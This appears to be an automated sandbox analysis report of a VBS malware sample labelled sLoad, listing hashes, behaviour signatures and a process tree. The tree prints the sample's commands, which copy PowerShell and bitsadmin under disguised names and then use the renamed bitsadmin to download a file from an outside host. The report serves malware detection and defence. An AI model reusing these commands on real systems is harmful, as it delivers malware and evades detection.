Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    12-08-2024 19:15

General

  • Target

    8ff5aa60032b0bfecd878635d978f8fd_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    8ff5aa60032b0bfecd878635d978f8fd

  • SHA1

    4011339acb95e12c5bfa057f220ebbaf6bf31424

  • SHA256

    405173656c1b1818248db05bb6105ea3353ec6c029fa4643e92ccfb89c855076

  • SHA512

    b8d05e7bea115c4693efc9797b82661d80a3c0613624a26671378ac5ba3f860a0fb62c3126d79f7dbc170e982cd8bfc4f7f0d579b333a0c391117caa70d734a9

  • SSDEEP

    192:SF9BcRMwRNOfvVrrGs470B35hjS173BVcVHcIRgLUEtfR:MuRMwz0vVes47035hjS17xVAzRPEtfR

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8ff5aa60032b0bfecd878635d978f8fd_JaffaCakes118.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aHhNBdM.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\AABfdRs*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aHhNBdM.exe
        3⤵
          PID:2892
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\AABfdRs*.exe
          3⤵
            PID:2996
        • C:\ProgramData\AABfdRsin.exe
          "C:\ProgramData\AABfdRsin.exe" /wrap /transfer swSgFZWY https://fakedepth.com/real/CCCGCR83P11B201U/dev.doc C:\ProgramData\dev.doc
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2776

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\AABfdRsin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51